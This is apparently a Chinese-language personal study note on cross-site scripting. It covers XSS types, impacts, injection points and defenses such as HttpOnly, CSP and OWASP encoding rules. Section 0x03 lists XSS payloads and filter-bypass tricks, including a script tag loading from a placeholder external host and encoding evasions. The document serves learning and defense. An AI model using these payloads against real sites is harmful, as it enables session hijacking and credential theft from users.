0x01 简介
XSS(Cross-site script),跨站脚本,为了避免和CSS混淆,简写为XSS。
XSS两个条件
- 用户的输入作为html进行显示或直接在JS中进行处理
- 未对用户的输入进行校验、编码
XSS分类
- 反射XSS(Reflected XSS,非持久型)
引用Webgoat上图 ,比较清晰。
恶意用户发现xss注入点,构造包含恶意代码的链接,通过一些手段使用户点击链接并请求服务器,服务器返回并在浏览器执行恶意代码(js)。攻击者达到获取相关信息等目的。
反射XSS是一次性的,利用一些社工手段效果惊人,比如垃圾邮件、小广告等。
- 存储XSS(Stored XSS,持久型)
和反射XSS相同的是,请求都经过Server端,区别在于XSS payload 存储在服务端(文件、DB等)。当用户访问注入XSS的页面,脚本执行。
存储XSS受害范围更大,常见博客、评论等功能点。
- Dom XSS(非持久型)
DOM(Document object model),JS可操作DOM动态更新文档的内容、结构和样式。
基于DOM的XSS是基于反射XSS的另一种形式。 这两者都是通过发送一个带有反映到浏览器的输入的链接来触发的。
和反射XSS的区别在于,Payload不需要到达服务端,只在客户端处理。
DOM XSS相对比较少见,工作中几乎没遇到过。查了下乌云上漏洞,还是有一些,列举几个供扩展阅读。
0x02 漏洞危害
- 盗取用户Cookie
通过盗取用户cookie实现会话劫持,httponly无效;
- 构造Get/Post请求执行恶意操作
js可提交请求,所以通过xss漏洞构造get/post请求完成一些操作,比如修改数据、删除数据、获取信息等。
- XSS钓鱼
伪造登录表单,获取用户凭证信息
- 内网入侵
扩展阅读:https://www.freebuf.com/articles/web/103097.html
- XSS蠕虫
XSS蠕虫是一种借助Ajax技术实现对Web应用程序中存在的XSS漏洞进行自动化利用传播的蠕虫病毒,它可以将一些用户数据信息发送给Web应用程序然后再将自身代码传递进入Web应用程序,等到被感染用户访问Web应用程序时,蠕虫自身将又开始进行数据发送感染。
XSS因为执行JS脚本,危害较大,但是也看具体的漏洞环境,有一些较好的攻击平台可利用(如 BeEF)。
0x03 漏洞检测
常见注入点
- 搜索框,回显key
- 输入框,回显用户信息
- 错误返回,回显用户输入
- 隐藏html元素,回显用户输入
- 评论、博客等
- 其他用户输入可回显的点
注意一点,这里说的输入不单单至用户通过输入框填写的数据,也包含下拉框、选择框等交互的地方,任何从客户端发往服务器的数据如果在服务器回显,都有可能造成xss问题。
常用Payload
列举典型的几个插入点,详细看后文附件。
- 在script注入
<script>alert(xss)</script>
<script src=http://xxx.com/xss.js></script>
- html标签
直接插入script,其他常用的如img、svg,常用js事件函数onload、onclick、onmouseover等
<img src=javascript:alert('xss') />
<img src=1 onload=javascript:alert('xss') />
<img src=1 onload=alert(/123/)/>
<svg src=1 onload=javascript:alert('xss') />
- html标签属性
单引号、双引号闭合标签属性,插入js时间函数
’ onload=javascript:alert('xss')
- JS中
分号阻断,直接写js
;alert('xss')
- CSS属性
<table background="javascript:alert('xss')"> //background
<div style="background-image: url(javascript:alert('xss'))"> //background image
<div style="width: expression_r(alert('xss')"> //expression
常用工具
商用Web扫描器,如Webinspect、AppScan、AWVS,代码扫描工具,如Fortify、Checkmarx、Coverity都可以覆盖XSS扫描。
商业工具覆盖漏洞广,黑盒工具使用时注意提供完整的流量(请求地址、参数)避免漏扫。
工具扫描,逃避不了的一个问题,误报。
除了Web扫描器,一些XSS平台、XSS fuzzing工具可以利用,详细参考文末链接。
关于绕过
XSS本身就可以写一本书,一方面因为玩的就是Html、JS、浏览器,导致千变万化甚至千奇百怪的Payload,另一方面就是绕过技巧了。
为什么这么多绕过技巧?
说一个遇到的很好玩的故事。一般报告中,XSS通过弹窗做poc,给出修复建议。有一次就遇到一个非常可爱的开发,黑名单过滤了alert关键字。What?这不是跟没做一样么,何况实际利用,一般也不alert弹窗了吧(不排除会弹窗通过社工重定向进行其他利用)。多么可爱的开发。
不闲扯了,列举常见的一些绕过技巧,重在记录思路。详细的绕过可以 RSnake's: "XSS Cheat Sheet",Freebuf也有牛人做了翻译的中文版本,参考文末列表。
- 大小写、大小写混合绕过
<sCrIPt>alert(xss)</SCRIPT>
<svg src=1 onload=jAVAsCRipt:alert('xss') />
- 空格、换行绕过
<svg src=1 onload=java Script:alert('xss') />
<svg src=1 onload=java
Script:alert('xss') />
- 注释符绕过
<IMG src=1 onload="xss:expr/*XSS*/ession(alert('XSS'))"> // 隔断,绕过关键字
- 双尖括号绕过
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- 无分号、引号绕过
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javas<!-- -->cript:alert('XSS')">
- URL编码
http get参数,对特殊字符过滤,使用URL编码绕过,也可以直接URL全编码
<IMG SRC=javascript:alert('XSS')>
%3CIMG%20SRC%3Djavascript%3Aalert%28%27XSS%27%29%3E
- Html实体编码
html实体编码本身存在的意义是防止与HTML本身语义标记的冲突
html中正常情况只识别:html10进制,html16进制。
回显输出在html中,过滤了script < > / \ http: 等特殊字符
<img src="x" onerror="alert(1)">
<img src="x" onerror="alert(1)">
- JS编码
JS提供了四种字符编码的策略:
三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
对于一些控制字符,使用特殊的C类型的转义风格,如\n和\r
当输入内容回显在js中,过滤了特殊字符<> ' " & %等
关于编码绕过,可是试试chrome扩展xss encode和JsFuck,非常神器。
- base64编码
<a href="input">
<iframe src="input"> //过滤了 <> ' " javascript
<img src=x onerror=alert(1)> //payload
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64 encode
当点击链接时,以data协议解析,页面以html/text方式解析,编码为base64,payload还原。
代码相关
涉及html输出、js操作html输出、js跳转的函数,需格外注意。
如下为个人记录的一些关键字,先记录,后续慢慢在补充。
API:innerHTML, $(xx).html()
PHP key: echo print
Java key:System.out.print println
JS: window.location.href location.pathname window.print document.write
0x04 防御
http-only
Cookie在消息头中被设置为HttpOnly,阻止Javascript直接访问cookies,应对XSS盗取cookie进行会话劫持的风险。
严格来说,并不是直接的防护,比较xss还是存在的。不过体现一种纵深防御的概念。
CSP
CSP(Content Security Policy),内容安全策略是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。
实际上的防护原理,和httponly类似,通过制定策略限制外部资源的加载,增加利用难度/成本。
详细可以参考文末链接。
输入校验
- 不信任外部输入,对外部输入进行校验,如数据类型、长度、语法、业务规则等
- 优先白名单方式,黑名单容易存在校验不全导致的绕过
- 遵循开放安全原则,优先考虑业界成熟的过滤库,如Owasp Java Encoder API
偷个懒,直接贴OWASP Prevention Rules
Data Type | Context | Code Sample | Defense |
---|---|---|---|
String | HTML Body | <span>UNTRUSTED DATA </span> | HTML Entity Encoding (rule #1). |
String | Safe HTML Attributes | <input type="text" name="fname" value="UNTRUSTED DATA "> | Aggressive HTML Entity Encoding (rule #2), Only place untrusted data into a whitelist of safe attributes (listed below), Strictly validate unsafe attributes such as background, id and name. |
String | GET Parameter | <a href="/site/search?value=UNTRUSTED DATA ">clickme</a> | URL Encoding (rule #5). |
String | Untrusted URL in a SRC or HREF attribute | <a href="UNTRUSTED URL ">clickme</a> <iframe src="UNTRUSTED URL " /> | Canonicalize input, URL Validation, Safe URL verification, Whitelist http and https URL's only (Avoid the JavaScript Protocol to Open a new Window), Attribute encoder. |
String | CSS Value | html <div style="width: UNTRUSTED DATA ;">Selection</div> | Strict structural validation (rule #4), CSS Hex encoding, Good design of CSS Features. |
String | Javascript Variable | <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> | Ensure JavaScript variables are quoted, JavaScript Hex Encoding, JavaScript Unicode Encoding, Avoid backslash encoding (\" or \' or \\ ). |
HTML | HTML Body | <div>UNTRUSTED HTML</div> | HTML Validation (JSoup, AntiSamy, HTML Sanitizer...). |
String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> | DOM based XSS Prevention Cheat Sheet |
输出编码
- 输出至前端,进行相应的编码;输出Html,使用Html实体编码,输出至JS,使用JS编码。
Encoding Type | Encoding Mechanism |
---|---|
HTML Entity Encoding | Convert & to & , Convert < to < , Convert > to > , Convert " to " , Convert ' to ' , Convert / to / |
HTML Attribute Encoding | Except for alphanumeric characters, escape all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value) |
URL Encoding | Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL. |
JavaScript Encoding | Except for alphanumeric characters, escape all characters with the \uXXXX unicode escaping format (X = Integer). |
CSS Hex Encoding | CSS escaping supports \XX and \XXXXXX . Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value. |
富文本编辑器
本身支持Html、JS,肯定可以xss。
防御的话,思路本身没什么区别。
- Jsoup进行过滤
- 白名单
- 特殊字符
注:个人总结,转载请注明。
参考:
https://www.jianshu.com/p/f1de775bc43e
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://github.com/OWASP/owasp-java-encoder/
https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project
https://www.freebuf.com/author/Black-Hole
https://www.freebuf.com/articles/web/40520.html
https://blog.csdn.net/qq_34444097/article/details/83188208
https://www.cnblogs.com/qyun/p/6623754.html
https://blog.csdn.net/itest_2016/article/details/77650356
https://www.freebuf.com/articles/web/153055.html
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://blog.csdn.net/changhuzhao/article/details/72472025
https://www.jianshu.com/p/32abc12a175a
格式化数据xss绕过
https://brutelogic.com.br/blog/xss-limited-input-formats/